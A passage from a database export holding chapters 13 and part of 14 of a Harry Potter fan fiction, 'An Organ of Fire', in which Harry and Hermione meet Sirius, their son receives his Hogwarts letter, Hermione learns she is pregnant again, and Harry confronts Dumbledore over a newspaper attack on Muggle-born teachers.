<br><br>He gave the man a patient smile. &quot;Can you settle our bill, please? We\'ll be down to pay for it in...&quot; <br><br>&quot;Harry!&quot; Hermione grabbed his sleeve, cutting him off. &quot;Oh god, Harry! Look!!&quot;<br><br>&quot;What is it, Her...&quot; He stopped abruptly, as his own gaze landed on what she had spotted only a moment earlier. At the very table at which they had eaten lunch no more than an hour earlier, a man in dark robes sat, staring at the blazing fire while sipping a pint of Muggle Guinness. The man looked up suddenly and smiled. <br><br>Harry blinked, unbelieving of what he was seeing. &quot;Sirius.&quot;<br><br>****<br><br>To Be Continued'),
	(93, 13, '\n\n<p>Disclaimer: Characters and the world in which they exist do not belong to me, but to JK Rowling\nwho went and thought them up, bless her soul. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Author\'s Notes: Thank you for all the delicious feedback; I treasure it all. Gary Skinner, leave an\nemail address sometime; I\'d like to talk to/thank you. I hope you all keep enjoying the story; I\'m\nhaving the most wonderful time romping through Rowling\'s magical world. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>****</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>An Organ of Fire</p>\n\n<p>by Kristen Elizabeth</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>****</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Sirius!&quot; Without trepidation, Harry ran towards his godfather. The man set down his drink and\nstood up just as Harry came to a stop in front of him. &quot;Sirius. You\'re...&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Late, I know. My apologies. An important affair that I had to settle. I hope I haven\'t\ninconvenienced you.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Hermione came up behind Harry. &quot;Just worried us.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Harry nodded emphatically. &quot;I thought that Malfoy might have...&quot; He shook his head. &quot;He had\nbetter just be glad, for his own sake, that you\'re all right.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;It was just a bit of miscommunication, Harry,&quot; Sirius said, picking up his Guinness. &quot;What have\nI missed while I was gone?&quot; He used the glass to indicate Hermione. &quot;I see you haven\'t been\nalone.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Harry and I have been looking for you,&quot; she said. A frown crinkled her forehead. &quot;What sort of\nbusiness kept you from sending an owl?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Well...&quot; the older man began.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Harry cut him off. &quot;It doesn\'t really matter, Sirius. The important thing is that Hermione and I\nfound the information.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;In Ron\'s office?&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Yes. Malfoy\'s robes.&quot; Harry glanced around and lowered his voice. &quot;They belonged to\nVoldemort.&quot; A moment passed. &quot;That was the information we were supposed to investigate,\nright?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Sirius blinked. &quot;What? Oh...yes. Yes, it was.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Harry cursed, suddenly remembering the other part of his mission in London. &quot;There was also\nthe bit about Pansy\'s murder. Malfoy\'s wife,&quot; he emphasized. &quot;I forgot to look into that entirely.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Don\'t worry. I\'ll take care of that. But the part about Malfoy\'s robes...that\'s all you found in\nRon\'s office?&quot; Both Harry and Hermione nodded. &quot;Nothing else?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Hermione looked up at him. &quot;Nothing, Sirius.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;I see.&quot; The man took long sip of his drink. &quot;Well then...we\'ve done pretty much all we can for\nnow. Good job, both of you.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;But Malfoy...&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Sirius licked his lips to clear away the foamy traces of the Guinnesses head. &quot;It\'s now just a\nmatter of biding our time, Harry. Waiting...watching. One of these days, he\'ll slip up. In the\nmeantime, you both have classes and students you should get back to.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;We were just about to leave for Hogsmeade,&quot; Hermione informed him. &quot;Harry....our Harry\nmight have gotten his letter while we were gone.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Your Harry. Yes.&quot; Sirius drank again. &quot;Then you should go, right?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;What are you going to do, Sirius?&quot; Harry asked. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>The older man put his drink back down. &quot;There are Governor\'s meetings coming up. Malfoy will\nbe attending all of them. And I plan to be there to map out his every move.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Harry nodded. &quot;Thank you.&quot; A moment passed before Harry moved to embrace his godfather. &quot;I\nfelt completely lost when I thought you were gone.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Sirius clapped a hand against his back several times. &quot;Safe journey back to Hogwarts.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Straightening up, Harry reached for Hermione\'s hand. &quot;Shall we?&quot; He was too caught up in his\nown relief to notice her hesitation as he began to guide her away. &quot;Goodbye, Sirius.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Hermione turned her head for one last look back at the man. He had sat back down with his\ndrink, his profile dark against the roaring fire. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>****</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>The wonderful thing about returning to Hogwarts after any absence, short or extended, was the\nfact that it never really changed. It always stood tall and distinguished, and ready to welcome\nback any member of its family. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Harry and Hermione reached the castle at dusk and piled their two travel bags next to the\nstaircase that led to the Great Hall for an unseen, but Hermione was happy to note, compensated\nhouse-elf to whisk away to their apartments. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>They stood on the stone landing for a long moment, merely looking at each other. The light from\nthe torches caught up in Hermione\'s hair and cast a warm glow over her lovely face. Harry had to\nremind himself to breathe for a moment. &quot;Back to the daily grind,&quot; he said, out of the blue. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>She nodded a bit. &quot;Same as before.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;But it\'s not.&quot; Harry took her hand. &quot;Hermione, I don\'t want to part ways in the hall tonight and\njust go back to my apartment by myself. I can\'t ever be happy waking up alone again when I\nknow what it feels like to wake up next to you.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;I shouldn\'t have come to London, should I have?&quot; She looked away. &quot;I\'ve made things worse...&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Harry reached for her other hand. &quot;No...no! We\'re a team, Hermione. We always have been. I\nneeded you in London.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;And now?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;I still need you. Just differently.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;You have no idea...&quot; Hermione began a second later, fighting with her tears. &quot;...how much I\nneed you, too. But...&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;But there\'s our son to consider.&quot; She nodded again; Harry lowered his head. &quot;Perhaps it\'s a good\nthing. Malfoy has no idea Harry is mine. I think it might be better for him to keep thinking that.&quot;\nHe suddenly chuckled.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;What\'s funny?&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Harry\'s chuckle turned into a laugh. &quot;I\'m sorry. It\'s just...I was thinking about how odd it is. Both\nMalfoy and I...fathering children straight out of school. It\'s just...well, all right...it\'s not *that*\nfunny. It\'s just rather...&quot; He cleared his throat. &quot;Sorry. I\'ll stop talking now.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>His laughter was infectious; a tiny grin spread across Hermione\'s face. &quot;My greatest comfort\nwhen I found out I was pregnant came from the fact that at least I wasn\'t the first out of our class.\nPansy was already showing at that point.&quot; The look on his face only increased her smile. &quot;Don\'t\ntell me you didn\'t notice...even through her graduation robes.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;I don\'t think it\'s something men tend to pick up on straight away.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Hermione\'s smile lost some of its momentum. &quot;No..I don\'t suppose....that it is.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>If he noticed the hand she pressed to her stomach, it certainly didn\'t stick out as anything of great\nsignificance to him. &quot;I wonder if the entrance to the kitchens is still the same,&quot; Harry mused. &quot;I\ncould do with some supper. Are you up for it?&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>After a half second\'s hesitation, she replied. &quot;I\'m all right. I should be getting upstairs to check\non...&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Mum!!&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>They both turned their heads to look at the banister above them on which their son leaned far\nover to see them better. &quot;Harry!&quot; Hermione\'s hand moved up to her chest. &quot;Careful on the...&quot; He\nwas already halfway down the stairs before the word even left her mouth. &quot;I give up,&quot; she sighed. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>When the boy arrived on the landing, he immediately launched himself into his mother\'s arms.\nTaken aback by the sudden contact after nearly a month of the silent treatment, Hermione\ninstantly forgot to scold him for his recklessness on the stairs. She closed her eyes and folded her\nson into an embrace, bending her head to kiss the flaming top of his head. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Harry\'s throat closed up at the scene before him. The desire to be a part of it made the very\ncenters of his bones ache. Looking down at the floor, he backed up a few paces. The movement\ncaught his son\'s attention; he cracked one emerald eye open and lifted his cheek from his\nmother\'s chest. &quot;You don\'t have to go.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;I don\'t want to intrude.&quot; Harry\'s voice was hoarse. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Harry,&quot; Hermione bit her lip. &quot;You\'re...&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;You\'re not intruding,&quot; the boy finished. &quot;Hagrid says....that you\'re a part of me. Whether I like it\nor not.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Hermione studied her son for a moment. &quot;Just what else has Hagrid been telling you?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Little Harry lifted his shoulders. &quot;Just...stories. About you and Dad and...&quot; He hesitated.\n&quot;...Professor Potter.&quot; Harry visibly flinched at the formal title. &quot;Did you really play live game of\nWizard\'s Chess?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Harry.&quot; She combed her fingers through her son\'s messy locks. Like his father\'s hair, it was a\nlost cause and no brush, Muggle or magical, could keep it neat. &quot;You\'re being very mature about\nthis.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>He looked up at his mother with a solemn expression. &quot;I\'m not a child, Mum.&quot; From the pocket\nof his khaki pants, he withdrew a cream-colored envelope whose wax seal had been broken.\n&quot;This was brought by owl while you were gone.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Harry couldn\'t help but grinning. Not that he had been worried, but physical proof that their son\nwas, without a doubt, a wizard was certainly something to celebrate. Hermione had already\nembraced little Harry again; he could just make out the shiny path of a tear on her cheek. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;I\'m so very proud of you,&quot; she whispered to the boy. &quot;And you\'re right. You\'re not a child\nanymore. Which is why I think you\'ll understand this.&quot; Hermione pulled back and looked little\nHarry straight in the eye. &quot;Professor Potter...your *real* father and I love each other very much.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Little Harry looked back and forth between her eyes. &quot;I know. You always have.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Hagrid told you quite a lot, I see.&quot; When their son said nothing, she continued. &quot;I want\nhim...Professor Potter...Harry...to feel welcome in our home whenever he\'s there from now on.\nAll right? Can you make sure that happens?&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;I can,&quot; the boy replied, still watching his mother carefully. &quot;But only because Dad would have.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>It was a start and Harry tried to be content with it. Taking a breath, he held out his hand to his\nson. &quot;Congratulations on receiving your letter, Harry. I\'ll never forget the day I got mine.&quot; *And\nthe twelve thousand that followed,* he added to himself. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>A moment passed before the boy warily shook his father\'s hand. Hermione bit her lip hard\nenough to wince from the pain. Little Harry ended the handshake and looked up at his mother.\n&quot;May we go eat now, Mum?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Harry?&quot; She looked at the older bearer of the name.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>He forced a smile. &quot;Don\'t worry about me, Hermione. I\'m going to go tickle the pear.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>It was a cryptic statement that almost anyone would have puzzled over for hours. Hermione\nsimply returned the smile knowingly. &quot;I\'ll see you tomorrow, then?&quot; As Harry nodded, she took\ntheir son\'s hand. &quot;Come on, Harry. I\'ll make us mince pies.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Harry watched them...his little family...ascend the stairs and then disappear around a stone\ncorner. There was a heavy weight pressing upon his chest; he wanted to be with them so badly\nthat it hurt. But he couldn\'t. And he wasn\'t sure, after everything that had happened, that he\nwould ever be able to. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>After several long minutes of indulging in his own guilt-born self-pity, he turned around started\nthe opposite way, out the port trellis entrance and across the dark field of snow to Hagrid\'s hut. It\nwas a short trek he had taken innumerable times during his school days, most of them spent\nunderneath the protective folds of his father\'s Invisibility Cloak. Now, as a Professor, he had no\ncause to hide as he walked up to the little cottage and knocked on the door. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;\'arry! Yer back!&quot; Hagrid answered the door with hot mitts on each of his huge hands, a sure sign\nthat he was baking. Suddenly Harry was quite glad that he had lost his appetite. &quot;Come in!&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>He followed the half-giant inside and closed the door for him. Hagrid was already back at the\nfire, lifting the cast iron lid from a huge cauldron set over the flames. Harry undid the button that\nheld his woolen robes closed at his throat and hung the garment on the rack next to the little\ncottage window. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;What are you making?&quot; he asked, more out of politeness than curiosity. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Stone soup,&quot; Hagrid replied, stirring the pot\'s contents. &quot;\'ungry?&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Harry shook his head; it was quite likely that there was nothing more in there but water and\nrocks. &quot;No thank you.&quot; He took a seat in one of Hagrid\'s oversized chairs. &quot;Hermione and I just\ngot back.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;So, I gath\'rd.&quot; He replaced the lid and moved into the chair opposite of Harry\'s. &quot;Did yer find\nwhat yer were lookin\' fer in Lond\'n?&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;In a roundabout way,&quot; he said, looking down at his hands. It only took a few minutes to fill\nHagrid in on the events that took place during his trip, although he left a few significant details\nout, including his night with Hermione at the Leaky Cauldron. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>But Hagrid wasn\'t fooled. &quot;Does my \'eart good ter see yer and \'ermione \'ave patch\'d thin\'s up\nbertween yer. Now, yer kin be a real fam\'ly.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;I don\'t know if I\'d say that.&quot; Harry met his old friend\'s knowing gaze. &quot;May I ask you\nsomething?&quot; Hagrid indicated for him to go ahead. &quot;Just what exactly did you tell Harry these\npast few days?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Don\' be worried, \'arry. I didn\' tell the boy any more th\'n he need\'d ter know. But he \'ad ques\'ions,\nsurely. And I ans\'er\'d \'em, best I could.&quot; With some effort, Hagrid stood back up. &quot;He want\'d ter\nknow \'bout yer \'n Ron.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Harry watched Hagrid lift a smaller kettle from the fire and begin to set up tea for two. &quot;About\nme and Ron? Do you mean...how we met, how long we were friends, that sort of thing?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Aye.&quot; The older man strained two cups of what Harry knew would be extremely strong tea.\n&quot;Seem\'d ter me like he want\'d ter un\'erstand what made yer leave yer best friend *and* \'ermione,\n\'is mum.&quot; Hagrid added cream and lumps of brown sugar to their drinks.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;What did you tell him?&quot; Harry asked, accepting his huge cup of tea with two hands.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Hagrid plopped back down, his chair creaking under his weight and took a thoughtful sip before\nanswering. &quot;I couldn\' tell \'im anythin\', \'arry. I don\' rightly know the whole story meself.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Long minutes passed as Harry pondered this and Hagrid patiently waited until he was ready to\nspeak. Finally, the younger man set his untouched tea aside and leaned forward, elbows on his\nknees. &quot;I want to believe that I left for the sole purpose of protecting her, Hagrid. But there was\nalso part of me that wanted to...see what else was out there. Not in terms of women...&quot; He\ngrimaced. &quot;Although I won\'t lie and say that I never touched another one during all those years.\nIt was more the fact that all I knew was England and Hogwarts. I wanted to see what was beyond\nthat. And with my knack for attracting danger, I presumed that the best place for me to be was\nwell away from everyone I loved.&quot; His green eyes stared straight across at his friend. &quot;I swear to\nyou, Hagrid. If I had known about Harry, I would have returned in an instant.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Hagrid held his tongue, unwilling to remind the Boy Who Lived that had he read any of the owls\nsent to him, he would have known about his child. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;I blame myself, Hagrid. Every day I think...that because I\'ve made so many mistakes...it\nwouldn\'t be unfitting if I were never afforded the opportunity to make them all up to my son.&quot; He\ntook a breath. &quot;But I want to. More than anything. I want to be his father.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;There\'s one thin\' yer got ter un\'erstand, \'arry. Fer the boy, Ron\'ll always be \'is firs\' father. As lon\'\nas yer kin accept that...yer kin be part o\' \'is life.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Harry considered this before nodding. &quot;I would never try to take Ron away from him.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>The half-giant smiled, drained half of his entire tea in one gulp and stood back up. &quot;Yer sure yer\nnot \'ungry?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Just...worn out. I think I\'ll head back to the castle.&quot; Harry pulled himself out of the large seat\nand went to retrieve his cloak. &quot;Hagrid.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Hmm?&quot; The other man had pulled the lid off his bubbling dinner, inspecting it with a cook\'s\nkeen eye. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Thank you.&quot; At his words, Hagrid turned his head to look at him. He continued, &quot;I have to ask\nyou for a favor. If anything should ever happen to me....would you please keep looking after\nthem? Like you have been?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>There was a pause before Hagrid bobbed his head in agreement. A moment passed between them\nbefore Harry swung his winter robes around his shoulders &quot;Good night, Hagrid. Enjoy your\nsupper.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Hagrid lifted a ladle full of his soup out of the pot. The sharp end of a rock stuck up through the\nthin liquid. &quot;\'arry.&quot; The young wizard stopped with his hand on the doorknob. &quot;Nothin\' gonna\n\'appen ter yer. Got tha\'?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>He wanted nothing more than to nod, but Harry found that he couldn\'t make his head move.\nInstead, he opened the door and walked back out into the cold night, alone as he all too often\nwas.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>****</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>A month slipped by without notice. Harry wouldn\'t have even picked up on the passing time had\nthe weather not begun to change. As February slowly turned into March, more and more tufts of\ngreen grass fought their way through the lingering snow, catching his eye one day as he hurried\nto his morning lesson with the Ravenclaw and Hufflepuff fifth years. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>During the weeks since their trip to London, Harry and Hermione had not purposely tried to\navoid contact, but their busy schedules managed to keep them apart except for a few rare\noccasions at lunch in the Great Hall or House meetings in the Gryffindor common room. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Letters from Sirius had been few and far between and always short. The Governor\'s meetings\nhad begun, but Malfoy had yet to make any bold moves according to his godfather. Harry tried to\ntake this as a good sign, but he couldn\'t help feeling that his adversary was simply waiting for the\nright moment to strike. The notion kept him awake many nights. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>The day Harry noticed the grass pushing up into the white and grey winter courtyard, Hermione\nwoke for the fifth morning in a row feeling sicker than she could ever remember feeling. Even\nwhen she had been pregnant with little Harry. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Ever since she had fainted in the Ministry, Hermione had been valiantly ignoring all the warning\nsigns her body was giving off. The timing was just too horrible for her to be...</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>More than that, she argued with herself as she dressed for her morning classes, it just couldn\'t be\npossible that after only being with Harry once, she had become...</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Again!! </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Her first class of that day was with the Slytherin and Gryffindor second years. She was teaching\nthem about the formation of Hogwarts, a subject in which she was particularly knowledgeable.\nBut even as she began the lesson, she instinctively knew she wasn\'t going to make it all the way\nthrough. Dizzy and nauseated, Hermione dismissed the students twenty minutes into the class. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>There was no one in the hallways as she stumbled for the Hospital Ward for which she was more\nthan grateful. Madam Pompfrey was most surprised by her arrival. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Hermione? What on earth...?&quot; The older woman helped her lie down on a cot. &quot;Is it your\nstomach, dear?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Hermione wrung her hands, embarrassment washing over her in a great tidal wave. &quot;It\'s a bit\nmore than that.&quot; As she explained her symptoms, the medical witch began to catch on. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>She placed a hand on Hermione\'s lower stomach and after a moment, smiled. &quot;I can give you a\npotion for the nausea, but you\'re going to have to be careful about taking it.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;I know.&quot; Hermione looked up at the vaulted ceiling. &quot;I\'ve done this before.&quot; She touched her\nabdomen; it was just beginning to feel firmer, but it would be a long time before her figure gave\naway the secret. &quot;Two months, right?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Just about, I suspect.  Although I am rusty in this particular area. It\'s not often that I see this in\nmy patients.&quot; There was a long pause. &quot;Congratulations, Hermione.&quot; She chuckled. &quot;Harry Potter\nwill be a wonderful father.&quot; </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Hermione closed her eyes. She was in no mood to celebrate. &quot;Oh god...what have I done?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>****</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>To Be Continued</p>\n\n\n\n'),
	(93, 14, '\n\n\n\n<p class="MsoPlainText">Disclaimer: JK Rowling invented; I only borrow from\nher. \'Cause she\'s got the best toys to play with. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Author\'s Notes: Thank you for your continued support.\nI hope this chapter is all right. For some reason, I labored over it more than\nmost. Have a happy and safe Thanksgiving, Americans. Everyone else...um...just\nbe happy;) </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">****</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">An Organ of Fire</p>\n\n<p class="MsoPlainText">by Kristen Elizabeth</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">****</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Me: What do you mean I\'m most compatible with Harry?!\nHe\'s, like, twelve! It\'s illegal!!</p>\n\n<p class="MsoPlainText">My friend: Livejournal quizzes never lie. Mrs.\nRobinson.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">****</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She had never been good at lying. Keeping secrets\ndidn\'t appeal to her, but she could do it for the right reasons. But\nlying...she had just never learned how to do it. Even lying by omission was\nhard for her; she just knew that whatever it was she was trying the hardest not\nto say would always be blatantly obvious through her guilty face and nervous\ngestures. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Which was why, only hours after it was confirmed that\nshe was carrying Harry Potter\'s child yet again, Hermione ducked into the first\ndoorway she could a split second after spying him at the end of a long,\ntorch-lit Hogwarts corridor. Fortunately, he didn\'t notice. He was reading\nsomething she couldn\'t identify from a distance as he walked, and he passed by\nthe door behind which she had hidden herself without even looking up. When\nHermione could no longer hear his footsteps, she breathed a little sigh of\nrelief. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Just what are you doing?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The voice from the shadows of what she had thought was\nempty classroom made her jump. She spun around putting an instinctive hand on\nher lower belly. &quot;Who\'s there?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">A lone figure came into the light. The school\'s potion\nmaster held a small bottle of dried spiders in one hand; he looked at her as\nthough he had caught her dancing naked in the Great Hall. &quot;Hiding from\nsomeone, Hermione?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">It was more than disconcerting to hear Snape, her\nleast favorite professor through all her Hogwarts years, calling her by her\nfirst name, even after almost two years of working with him. She dropped her\nhand from her stomach and straightened her shoulders. &quot;Actually,\nI...um...I was just looking for...for my...I mean, for the...&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Forget I asked.&quot; Snape cut her off\nabruptly, clearly not interested any longer. He moved towards her, but stopped\nwhen she failed to step out of his way. &quot;Do you mind? These need to be\nadded to a potion within five minutes or I\'ll lose two weeks work.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Hermione quickly moved to one side and allowed the\nolder man by. After he was gone, she stumbled towards the first dusty desk she\nsaw and sank into it. Tears welled up and it didn\'t take long for them to turn\ninto full-fledged sobs. Burying her face in her arms, Hermione let herself cry.\n</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">They were different tears than the ones she had shed\nwhen the Muggle doctor her parents had insisted she go see after days of\nexhaustion and nausea told her she was pregnant. Up until then, she had been\nable to blame her symptoms on being abandoned by the man she loved with all her\nyoung heart. Finding out he had left her with child had prompted many hours of\ntears. Tears that Ron had done his best to dry. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She shook her head against the full sleeve of her\ncrimson robe. These new tears weren\'t born from sorrow or shock. Now she cried\nat the cruel tricks her life seemed bent upon playing on her. What was it about\nher and Harry? It was as though all she had to do was look at him wrong and she\nwould become pregnant. Where as with Ron...they had tried so hard for so long\nto have a child with nothing to show for it. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">It had to be some sort of magical curse, Hermione\ndecided. There had been nothing wrong with Ron as both Muggle and magical\ndoctors had told him. A spell or curse was the only explanation for why Harry\nseemed destined to be the only father of her children. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The more she thought about it, the more she wondered\nif perhaps it was a spell she had woven upon herself without even realizing it.\n</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Hermione wiped her eyes and stood up. It was no use to\ndwell on that. The only thing she could do was to tell the father of her child\nas soon as possible. He had said more than once that he would have been around\nfor little Harry had he known about him. And now he would get his chance to\nprove it.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">****</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Please tell me this is some sort of joke.&quot;\nHarry slapped the current issue of The Daily Prophet, which had just arrived by\nanonymous owl, onto Albus Dumbledore\'s writing stand. The aged wizard looked up\nfrom the stack of parchment in front of him and adjusted his glasses.\n&quot;This can\'t be happening...can it?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The worry he saw in Harry\'s emerald eyes was deep;\nDumbledore set down his quill, pushed aside his memoirs (he was stuck on\nChapter Five, his first year at Hogwarts, anyway) and picked up the newspaper\nto see what was bothering his former student. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">A bold headline announced, &quot;Governors Put\nHogwarts Professors Under Scrutiny,&quot; and a smaller, but equally disturbing\nline read, &quot;Muggle-born Instructors: Are they qualified to teach your\nchild?&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Professor,&quot; Harry began after giving the\nwizard ample time to read the article. &quot;Something must be done to stop\nhim. He can\'t do this. It can\'t be allowed!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Dumbledore lowered the newspaper. 